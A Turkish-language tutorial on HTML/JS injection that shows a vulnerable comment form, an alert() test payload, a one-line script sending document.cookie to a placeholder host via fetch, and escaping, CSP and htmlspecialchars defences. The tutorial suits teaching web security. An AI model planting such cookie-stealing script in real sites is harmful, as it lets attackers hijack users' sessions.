Hacking Eğitimi - #1-3 HTML/JS Injection Nedir?

[Nanchew]

HTML/JS Injection, bir web uygulamasında kullanıcı tarafından gönderilen veri içeriğinin güvenlik kontrollerinden geçmeden sayfa içinde yönetilmesi sonucunda zararlı HTML veya JavaScript kodlarının çalışmasına olanak tanıyan bir güvenlik açığdır. Bu zafiyet, genellikle kullanıcı girdisinin doğrulanmaması ya da özel karakterlerin uygun bir şekilde kaçıştırılmaması nedeniyle ortaya çıkar.

Nasıl Çalışır?​

HTML/JS Injection saldurularında siber saldırgan, bir form veya URL gibi kullanıcı girdisi kabul eden alanlara zararlı kod enjekte eder. Enjekte edilen bu kod, web tarayıcısı tarafından normal bir içerik gibi işlenir ve kullanıcıları etkilemek veya veri çalmak için kullanılabilir.

Örnek Zafiyet Durumu:
Bir yorum formunun işleyişini düşünelim. Form, gelen gönderiyi herhangi bir filtreleme yapmadan sayfa içeriğine ekliyor:

<form method="POST" action="/submit_comment">
  <textarea name="comment"></textarea>
  <button type="submit">Yorumu Gönder</button>
</form>
<div id="comments">
  <!-- Kullanıcı yorumları buraya ekleniyor -->
  <p>Kullanıcı Yorumu: {{comment}}</p>
</div>

Siber saldırgan, yorum alanına şu girdiyi ekler:

<script>alert('Bu bir saldırı!')</script>

Sonuçta, web sayfası şu hale gelir:

<div id="comments">
  <p>Kullanıcı Yorumu: <script>alert('Bu bir saldırı!')</script></p>
</div>

Bu durumda, sayfa açıldığında tarayıcı bu zararlı JavaScript kodunu çalıştırır.

HTML/JS Injection Senaryosu​

Bir çevrimiçi blog sitesi, kullanıcı yorumlarını görüntülemek için bir şablon motoru kullanmıyor. Kullanıcı girdisi, filtrelenmeden doğrudan HTML içeriğine ekleniyor.

Saldırı Adımları:

1. Saldırgan, yorum formuna şu zararlı girdiyi yazar:
2. <script>fetch('https://alanadi.com/steal?cookie=' + document.cookie)</script>
3. Kullanıcılar bu yorumu gördüğünde, tarayıcı otomatik olarak çalıştırır.

Sonuçta, siber saldırgan kullanıcıların oturum çerezlerini ele geçirir.

Nasıl Korunulur?​

Girdiyi Doğrulama: Kullanıcıdan gelen girdi sadece izin verilen karakterlerle sınırlanmalıdır. Örneğin, yorum alanı sadece metin girdisini kabul etmelidir.
Girdiyi Kaçıştırma: HTML özel karakterleri ("<", ">", "&") kaçıştırılmalıdır. Sunucu tarafında bu işlemi yapan bir kütüphane kullanılabilir.
Content Security Policy (CSP): Tarayıcıları, sadece izin verilen kaynaklardan JavaScript yüklenmesine zorlamak için CSP kullanılabilir.
Hazır Şablon Motorları Kullanın: Handlebars.js, React, Angular gibi şablon motorları otomatik olarak HTML kaçıştırması yapabilir veya PHP kullanıyorsanız daha basit bir çözüm ile bundan kurtulabilirsiniz.

Örnek korunma yöntemi PHP & HTML:

<?php
$test = $_POST["testverisi"];
echo "Kullanıcı Yorumu: ".htmlspecialchars($test);
?>

Çıktı :

<script>alert('Bu bir saldırı!')</script>

Bu durumda tarayıcı, zararlı kodu JavaScript olarak değil, düz bir metin olarak yorumlayacaktır.